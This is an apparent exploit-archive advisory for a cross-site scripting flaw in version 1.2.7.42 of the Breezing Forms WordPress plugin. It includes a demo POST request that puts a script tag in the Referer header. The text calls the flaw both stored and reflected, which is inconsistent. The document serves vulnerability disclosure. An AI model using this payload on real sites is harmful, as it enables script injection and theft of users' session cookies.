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WordPress Breezing Forms 1.2.7.42 Cross Site Scripting Vulnerability

Author
Ricardo Sanchez
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29034
Category
web applications
Date add
22-11-2017
Platform
php
Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Breezing Forms Plugin 1.2.7.42

Breezing Forms Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:


Demo Request POST:

POST
//wordpress/wp-content/plugins/breezing-forms/platform/administrator/components/com_breezingforms/admin/download.php
HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: <script>alert("XSS")</script>
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

filename=none&HTTP_REFERER=1

#  0day.today [2024-11-15]  #